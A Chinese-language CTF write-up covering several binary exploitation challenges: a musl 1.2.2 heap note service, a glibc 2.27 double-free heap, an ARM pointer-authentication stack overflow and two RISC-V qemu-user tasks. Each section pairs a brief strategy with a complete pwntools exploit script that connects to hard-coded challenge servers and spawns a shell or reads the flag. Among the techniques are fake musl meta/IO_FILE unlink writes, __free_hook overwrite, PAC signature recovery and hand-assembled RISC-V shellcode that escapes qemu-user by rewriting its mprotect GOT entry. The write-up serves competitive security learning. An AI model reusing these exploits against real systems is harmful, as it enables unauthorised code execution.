分类 *CTF 下的文章

前言

不算很复杂的musl堆题,但是用了musl 1.2.2。相比于musl 1.1.x中使用的以链表为主的类似dlmalloc的内存管理器,musl 1.2.2则采用了:malloc_context->meta_arena->meta->gropu (chunks)这样的多级结构,并且free掉的chunk有bitmap直接管理(而不是放入某些链表中)。但是meta依然存在无检查的unlink操作,所以大部分攻击的思路仍然是构造出fake meta,然后触发dequeue条件完成任意地址写一个指针。做到任意地址写之后的思路就比较多了:

  • 可以尝试写rop到栈上
  • 可以尝试伪造 fake stdout 并将指针写到 stdout_usedfake stdout 的头部可以写为"/bin/sh\x00"write指针写为 system 指针,这样当 exit() 时就会触发system("/bin/sh")调用
  • 可以参考别的博主写 _aexit() 中相关函数指针的方法

思路:

  • 堆风水+UAF把一个note构造到另一个note的note->content域下,find功能泄露出elf_base和初始堆地址(musl的初始堆地址在二进制文件的地址空间中)
  • 再用一种堆风水思路借助UAF构造fake note占用掉发生UAF的原note,构造指针进行任意地址泄露,重复该步骤两次分别泄露libc地址和__malloc+context中的secret(用于后序步骤伪造)
  • 同样借助UAF构造一个fake note,并从一个页对齐的位置顺序构造fake_arena | fake_meta | fake_group | fake_chunk | fake IO_FILE,fake note的next指向fake_chunk然后构造fake_metaprevnext使得freefake_note->next之后的unlinkfake IO_FILE的地址写入到stdout_user

    • 由于__IO_FILE中存在如下指针:size_t (*write)(FILE *, const unsigned char *, size_t);,只要控制好参数和指针就可以进行execve("/bin/sh", NULL, NULL)来getshell
    • 详细的实现细节可以参考[2]中的描述

Notice:

  1. 为了保证和远程环境最大程度相似,建议在调试前cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so,如果怕覆盖掉本地的musl可以先mv备份
  2. 开启和关闭ASLR会导致某个常量发生变化,调试的时候记得手动修改一下(见注释)
  3. 为了方便调试,可以下载一份musl-1.2.2源码然后用dir ./musl-1.2.2/src/mallocdir ./musl-1.2.2/src/malloc/mallocng加载malloc相关的调试符号(在free的时候带源码调试可以很方便检查程序流卡在哪个assert)

EXP:

from pwn import *

context.log_level = "debug"
# 调试本地环境记得一定要拷贝到这个路径,用ld的启动方式vmmap会很tm怪!
# cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so
p = process("./babynote")
p = remote("123.60.76.240", 60001)

def add(name, content, size=-1):
    p.sendlineafter(b"option: ", b"1")
    if size >= 0:
        p.sendlineafter(b"name size: ", str(size).encode())
    else:
        p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    p.sendlineafter(b"note size: ", str(len(content)).encode())
    p.sendafter(b"note content: ", content)
    
def find(name, size=-1):
    p.sendlineafter(b"option: ", b"2")
    if size >= 0:
        p.sendlineafter(b"name size: ", str(size).encode())
    else:
        p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    
def delete(name):
    p.sendlineafter(b"option: ", b"3")
    p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    
def forget():
    p.sendlineafter(b"option: ", b"4")
    
def exit():
    p.sendlineafter(b"option: ", b"5")

def exp():
    ## ------------ leak addr info ------------
    for i in range(3):
        add(bytes([0x41+i])*0xc, bytes([0x61+i])*0x28) # A-C
    for i in range(3):
        find(b"x"*0x28)
    forget()
    add(b"E"*0xc, b"e"*0x28) # E uaf
    # -- new group
    add(b"F"*0xc, b"f"*0x28) # F hold E
    delete(b"E"*0xc)
    add(b"eqqie", b"x"*0x38) # occupy
    
    find(b"E"*0xc)
    
    p.recvuntil(b"0x28:")
    leak_heap = 0
    leak_elf = 0
    for i in range(8):
        leak_heap += int(p.recv(2).decode(), 16) << (i*8)
    for i in range(8):
        leak_elf += int(p.recv(2).decode(), 16) << (i*8)
    elf_base = leak_elf - 0x4fc0
    heap_base = elf_base
    print("leak_heap:", hex(leak_heap))
    print("leak_elf:", hex(leak_elf))
    print("heap_base:", hex(heap_base))
    print("elf_base:", hex(elf_base))
    
    ## ------------ leak libc addr ------------
    read_got = elf_base+0x3fa8
    add(b"Y"*0xc, b"y"*0xc) # occupy
    forget() # fresh all
    add(b"A"*0x4, b"a"*0x4)
    add(b"B"*0x4, b"b"*0x4)
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    fake_note = p64(heap_base+0x4cf0) + p64(read_got) # name('aaaa'), content(read@got)
    fake_note += p64(4) + p64(8) # name_size, content_size
    fake_note += p64(0) # next->null    
    add(b"C"*0x4, fake_note) # C occupy last chunk
    find(b"a"*4)
    p.recvuntil(b"0x8:")
    read_got = b""
    for i in range(8):
        read_got += p8(int(p.recv(2).decode(), 16))
    read_got = u64(read_got)
    print("read_got:", hex(read_got))
    libc_base = read_got - 0x74f10
    stdout_used = libc_base + 0xb43b0
    print("libc_base:", hex(libc_base))
    print("stdout_used:", hex(stdout_used))

    for i in range(7):
        add(b"y"*0x4, b"y"*0x4) # run out of chunks
    forget() # fresh all
    
    ## ------------ leak heap secret ------------
    new_heap = libc_base - 0xb5000
    print("new_heap:", hex(new_heap))
    heap_secret_ptr = libc_base + 0xb4ac0
    
    forget() # fresh all
    add(b"A"*0x4, b"a"*0x4)
    add(b"B"*0x4, b"b"*0x4)
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    fake_note = p64(heap_base+0x4cb0) + p64(heap_secret_ptr) # name('aaaa'), content(heap_secret)
    fake_note += p64(4) + p64(8) # name_size, content_size
    fake_note += p64(0) # next->null    
    add(b"C"*0x4, fake_note) # C occupy last chunk
    find(b"a"*4)
    p.recvuntil(b"0x8:")
    heap_secret = b""
    for i in range(8):
        heap_secret += p8(int(p.recv(2).decode(), 16))
    print("heap_secret:", heap_secret)
    for i in range(7):
        add(b"y"*0x4, b"y"*0x4) # run out of chunks
    forget() # fresh all
    
    ## ------------ build fake_meta, fake_chunk ------------
    # 关ASLR打本地的时候记得改掉这个偏移
    new_heap2 = libc_base - 0x7000  # aslr_on&remote: 0x7000  aslr_off: 0xd000
    print("new_heap2:", hex(new_heap2))
    add(b"A"*0x4, b"a"*0x4) # A
    ### pointers
    system = libc_base + 0x50a90
    execve = libc_base + 0x4f9c0
    fake_area_addr = new_heap2 + 0x1000
    fake_meta_ptr = fake_area_addr + 0x20
    fake_group_ptr = fake_meta_ptr + 0x30
    fake_iofile_ptr = fake_group_ptr + 0x10
    fake_chunk_ptr = fake_iofile_ptr - 0x8
    print("system:", hex(system))
    print("fake_meta_ptr:", hex(fake_meta_ptr))
    print("fake_group_ptr:", hex(fake_group_ptr))
    print("fake_iofile_ptr:", hex(fake_iofile_ptr))
    ### fake arena
    fake_area = heap_secret + b"M" * 0x18
    ### fake group
    fake_group = p64(fake_meta_ptr)    
    ### fake iofile
    fake_iofile = p64(0) # chunk prefix: index 0, offset 0
    fake_iofile += b"/bin/sh\x00" + b'X' * 32 + p64(0xdeadbeef) + b'X' * 8 + p64(0xbeefdead) + p64(execve) + p64(execve)
    fake_iofile = fake_iofile.ljust(0x500, b"\x00")
    ### fake meta
    fake_meta = p64(fake_iofile_ptr) + p64(stdout_used) # prev, next
    fake_meta += p64(fake_group_ptr)
    fake_meta += p64((1 << 1)) + p64((20 << 6) | (1 << 5) | 1 | (0xfff << 12))
    fake_meta = fake_meta.ljust(0x30)
    ### final payload
    payload = b"z"*(0x1000-0x20)
    payload += fake_area + fake_meta + fake_group + fake_iofile
    payload = payload.ljust(0x2000, b"z")
    add(b"B"*0x4, payload) # check this
    
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    ## ------------  build fake_note ------------
    fake_note = p64(heap_base+0x4960) + p64(fake_iofile_ptr) # name(d->content "dddd"), content(free it to unlink!!!)
    fake_note += p64(4) + p64(4) # name_size, content_size
    fake_note += p64(0) # next->null
    add(b"C"*0x4, fake_note) # C occupy last chunk
    add(b"D"*0x4, b"d"*4) # D
    #gdb.attach(p, "dir ./musl-1.2.2/src/malloc\ndir ./musl-1.2.2/src/malloc/mallocng\nb free")
    #pause()
    
    delete(b"d"*0x4)
    p.sendline(b"5")
    
    p.interactive()

if __name__ == "__main__":
    exp()

参考资料:

[1] https://www.anquanke.com/post/id/253566

[2] https://github.com/cscosu/ctf-writeups/tree/master/2021/def_con_quals/mooosl

[3] https://www.anquanke.com/post/id/241101#h2-5

[4] https://www.anquanke.com/post/id/241104

musl 1.2.2 版本的内存管理机制发生了特别大的变化,但是本题用到的所有知识网上都有公开可查的资料了

babyheap

18.04 libc2.27堆题,delete有double free

白给题,触发malloc_consolidate就可以leak+overlapping

EXP:

from pwn import *

#p = process("./pwn")
p = remote("52.152.231.198", 8081)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"


def add(idx:int, size:int):
    p.recvuntil(b">> \n")
    p.sendline(b"1")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"input size\n")
    p.sendline(str(size).encode())
    
def delete(idx:int):
    p.recvuntil(b">> \n")
    p.sendline(b"2")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    
def edit(idx:int, content):
    p.recvuntil(b">> \n")
    p.sendline(b"3")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"input content\n")
    p.send(content)
    
def show(idx:int):
    p.recvuntil(b">> \n")
    p.sendline(b"4")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    
def leaveName(name):
    p.recvuntil(b">> \n")
    p.sendline(b"5")
    p.recvuntil(b"your name:\n")
    p.send(name)
    
def showName():
    p.recvuntil(b">> \n")
    p.sendline(b"6")

def exp():
    # leak libc
    for i in range(16):
        add(i, 0x20) #0-9
    for i in range(15):
        delete(i) # del 0-9
    leaveName(b"123123")
    show(7)
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x3ebe10
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("free_hook:", hex(free_hook))
    
    # overlapping && double free
    add(0, 0x50) #0
    edit(0, p64(0)*4+p64(0x61))
    delete(8)
    edit(0, p64(0)*4+p64(0x61)+p64(free_hook-0x8))
    
    # attack free_hook
    add(1, 0x50) #1
    add(1, 0x50) #1
    edit(1, p64(system))
    print("free_hook:", hex(free_hook))
    edit(0, p64(0)*4+p64(0x61)+b"/bin/sh\x00")
    delete(8)
    
    #gdb.attach(p)
    
    p.interactive()

if __name__ == "__main__":
    exp()

babypac

arm架构的题,有栈溢出机会

数据结构:

从0x412050开始的结构体数组

strcut aaa{
QWORD id;
QWORD lock;
};

分析:

  • add函数将id设为你的输入,lock设为0
  • lock函数将id设为sub_4009D8(id),lock设为1
  • show函数当lock为0时候打印id,lock为1的时候不打印
  • auth函数检查是否sub_4009d8(0x10A9FC70042)为id,是的话给栈溢出机会

这里有整数溢出,当idx由unsigned解释为int得时候为-2得时候,可控name就变为我们输入得,然后:

这里就可以绕过检测,来使得name为那个大整数从而溢出。溢出的话使用rop.可以mprotect改bss段,然后shellcode。使用通用gadget。或者自己构造。

思路:

  1. PACIA指令对跳转指针进行签名,签名结果被函数加密了,找shallow写了脚本解出签名后的指针
  2. 然后用csu gadget leak出puts的地址低三字节,拼接出完整地址
  3. ret回main同样的方法调用read往一个RW地址写入system_addr+b"/bin/sh\x00"
  4. ret回main同样的方法调用system(借助上一步写入的函数地址和参数)

EXP:

from pwnlib.util.iters import mbruteforce
import string
from hashlib import sha256
from pwn import *
import time

#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "-g", "1234", "./chall"])
#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "./chall"])
p = remote("52.255.184.147", 8080)
elf = ELF("./chall")
libc = ELF("./lib/libc.so.6")
context.log_level = "debug"
context.arch = "aarch64"

def add(_id:int):
    p.recvuntil(b">> ")
    p.sendline(b"1")
    p.recvuntil(b"identity: ")
    p.sendline(str(_id).encode())
    
def lock(idx):
    p.recvuntil(b">> ")
    p.sendline(b"2")
    p.recvuntil(b"idx: ")
    p.sendline(str(idx).encode())
    
def show():
    p.recvuntil(b">> ")
    p.sendline(b"3")

def auth(idx):
    p.recvuntil(b">> ")
    p.sendline(b"4")
    p.recvuntil(b"idx: ")
    p.sendline(str(idx).encode())
    
def unshiftleft(n , shift , mask = 0xffffffffffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res << shift) & mask)
    return res
def unshiftright(n , shift , mask = 0xffffffffffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res >> shift) & mask)
    return res
    
def unshift(c):
    c = unshiftright(c , 13)
    c = unshiftleft(c , 31)
    c = unshiftright(c , 11)
    c = unshiftleft(c , 7)
    return c
    
# global const
bss_name = 0x412030
bss_list = 0x412050

curr_ret_addr = 0x400da4
csu_gadget_1 = 0x400FF8
csu_gadget_2 = 0x400FD8
puts_got = 0x411FD0
read_got = 0x411FD8
main_addr = 0x400F5C

def exp():
                        
    # set name
    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8

    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(puts_got) + p64(puts_got)
    payload += p64(0) + p64(0)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    libc_leak = p.recvuntil(b"\n", drop=True)
    libc_leak = (libc_leak+b"\x00\x40").ljust(8, b"\x00")
    puts = u64(libc_leak)
    libc_base = puts - libc.symbols[b"puts"]
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    mprotect = libc_base + libc.symbols[b"__mprotect"]
    print("puts:", hex(puts))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))
    print("mprotect:", hex(mprotect))

    # set name
    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8
    
    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(read_got) + p64(0)
    payload += p64(0x412060) + p64(100)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    p.sendline(p64(system)+b"/bin/sh\x00")
    
    # set name
    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8
    
    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(0x412060) + p64(0x412060+0x8)
    payload += p64(0) + p64(0)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    p.interactive()

def proof_of_work(p):
    p.recvuntil("xxxx+")
    suffix = p.recv(16).decode("utf8")
    p.recvuntil("== ")
    cipher = p.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
                        cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    p.sendlineafter("Give me xxxx:", proof)


if __name__ == "__main__":
    proof_of_work(p)
    exp()

Favourite Architecure flag1

RISCV PWN,憋shellcode

  1. 远程栈固定,本地写完后稍加修改就打通了远程
  2. 栈溢出后用主函数末尾的gadget跳到自定义的一个栈位置上开始执行编辑好的orw shellcode
  3. RISCV的shellcode编写可以借助Ghidra右键patch功能(会显示16进制代码)

EXP:

from pwn import *

#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")

# overflow offset: 0x120
# ret_addr: 0x11300

def exp():
    p.recvuntil(b"Input the flag: ")
    #p.sendline(b"a"*0x4b8)
    ## openat(root, "/home/pwn/flag")
    shellcode = b"\x01\x45" #c.li a0, 0
    shellcode += b"\x01\x11" #c.addi sp -0x20
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x01\x46" #c.li a2, 0
    shellcode += b"\x93\x08\x80\x03" #li a7, 56
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(flag_fd, reg_sp, 30)
    shellcode += b"\x0d\x45" #c.li a0, 5
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, reg_sp, 30)
    shellcode += b"\x05\x45" #c.li a0, 5
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    print("shellcode len:", hex(len(shellcode)))
    shellcode = shellcode.ljust(0x40, b"\x00")+b"/home/pwn/flag\x00"
    
    
    payload = b"a"*0x120+p64(0x1058a)
    payload = payload.ljust(0x2c8, b"a")
    payload += shellcode
    payload = payload.ljust(0x320, b"a")
    payload += p64(0x4000800e10)
    
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exp()

Favourite Architecure flag2

接着上一题,不过为了有足够的空间需要把shellcode的位置做调整,sp的位置做调整,以便读取/proc/self/maps泄露地址

观察了qemu的源码以及实际测试发现,qemu-user没有做好地址隔离,如果泄露出地址后借助mprotect修改qemu got表所在段权限,修改mprotect函数got表就可以执行system("/bin/sh\x00")

坑点:

  1. shellcode位置要安排好,以免读文件覆盖掉shellcode
  2. qemu对/proc/self/maps路径做了限制,可以改成/home/**/proc/self/maps来绕过
  3. qemu-user地址隔离做的不好,直接vmmap虽然看不到qemu的内存,但是可以用mprotect修改其权限,改掉之后在调试器中hexdump就可以看到内存了
  4. 如果想修改mprotect_got指向system要注意,在进入mprotect系统调用时qemu会检查第一个参数的地址是否页对齐,对齐了才会call mprotect_got上的指针。这导致在利用时需要先把flag存到bss或者data段某些页对齐的地址上(大坑

    源码:

        if ((start & ~TARGET_PAGE_MASK) != 0)
            return -EINVAL;
  5. 注意li指令立即数大小有限制,可以结合位运算扩大

EXP:

from pwn import *
import time

#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")

# overflow offset: 0x120
# ret_addr: 0x11300

def exp():
    p.recvuntil(b"Input the flag: ")
    #p.sendline(b"a"*0x4b8)
    ## openat(root, path, 0)
    shellcode = b"\x01\x45" #c.li a0, 0
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x01\x46" #c.li a2, 0
    shellcode += b"\x93\x08\x80\x03" #li a7, 56
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(flag_fd, reg_sp, 30)
    shellcode += b"\x0d\x45" #c.li a0, 3
    #shellcode += b"\x15\x45" #c.li a0, 5
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, reg_sp, 30)
    shellcode += b"\x05\x45" #c.li a0, 1
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(0, reg_sp, 0x10)
    shellcode += b"\x01\x45" #c.li a0, 0
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x41\x46" #c.li a2, 0x10
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x02\x64" #c.ldsp s0, 0x0(sp) => qemu_base_2
    shellcode += b"\xa2\x64" #c.ldsp s1, 0x8(sp) => mprotect_got
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    ## mprotect(start, len, 7)
    shellcode += b"\x13\x05\x04\x00" #mv a0, s0
    shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
    shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0xc
    shellcode += b"\x1d\x46" #c.li a2, 0x7
    shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, mprotect_got, 0x8)
    shellcode += b"\x05\x45" #c.li a0, 1
    shellcode += b"\xa6\x85" #c.mv a1, s1
    shellcode += b"\x13\x06\x80\x00" #li a2, 0x8
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(0, mprotect_got, 8)
    shellcode += b"\x01\x45" #c.li a0, 0
    shellcode += b"\x93\x85\x04\x00" #mv a1, s1 => mprotect_got
    shellcode += b"\x21\x46" #c.li a2, 0x8
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## store "/bin/sh" to 0x6d000 (PAGE_MASK_ADDR)
    shellcode += b"\x13\x01\x81\x01" #addi sp, 0x18
    shellcode += b"\x03\x39\x01\x00" #ld s2, 0x0(sp) load "/bin/sh"
    shellcode += b"\x13\x01\x81\xfe" #addi sp, -0x18
    shellcode += b"\x13\x01\xd0\x06" #li sp, 0x6d
    shellcode += b"\x13\x11\xc1\x00" #slli sp, sp, 0x4
    shellcode += b"\x23\x30\x21\x01" #sd s2, 0x0(sp) store "/bin/sh"
    ## system("/bin/sh")
    shellcode += b"\x13\x05\x01\x00" #mv a0, sp    
    shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
    shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0x18
    shellcode += b"\x1d\x46" #c.li a2, 0x7
    shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
    shellcode += b"\x73\x00\x00\x00" #ecall
    

    print("shellcode len:", hex(len(shellcode)))    
    
    payload = b"a"*0x120+p64(0x1058a)
    payload += shellcode
    payload = payload.ljust(0x320, b"a")
    payload += p64(0x4000800c70)
    payload += b"/proc/self/task/../maps\x00/bin/sh\x00"
    
    p.sendline(payload)
    
    #time.sleep(1)
    for i in range(6):
        p.recvuntil(b"\n")
    qemu_base = int(p.recvuntil(b"-", drop=True), 16)
    p.recvuntil(b"\n")
    qemu_base_2 = int(p.recvuntil(b"-", drop=True), 16)
    p.recv()
    
    do_syscall_1 = qemu_base + 0x141100
    do_syscall = qemu_base + 0x14cb50
    mprotect_got = qemu_base + 0x6A3200
    print("[*] qemu_base:", hex(qemu_base))
    print("[*] do_syscall_1:", hex(do_syscall_1))
    print("[*] mprotect_got:", hex(mprotect_got))
    print("[*] qemu_base_2:", hex(qemu_base_2))

    p.send(p64(qemu_base_2)+p64(mprotect_got))
    
    mprotect_libc = u64(p.recv(8))
    libc_base = mprotect_libc - libc.symbols[b"__mprotect"]
    system = libc_base + libc.symbols[b"system"]
    print("[*] mprotect_libc:", hex(mprotect_libc))
    print("[*] libc_base:", hex(libc_base))
    print("[*] system:", hex(system))
    
    p.send(p64(system))
    
    p.interactive()

if __name__ == "__main__":
    exp()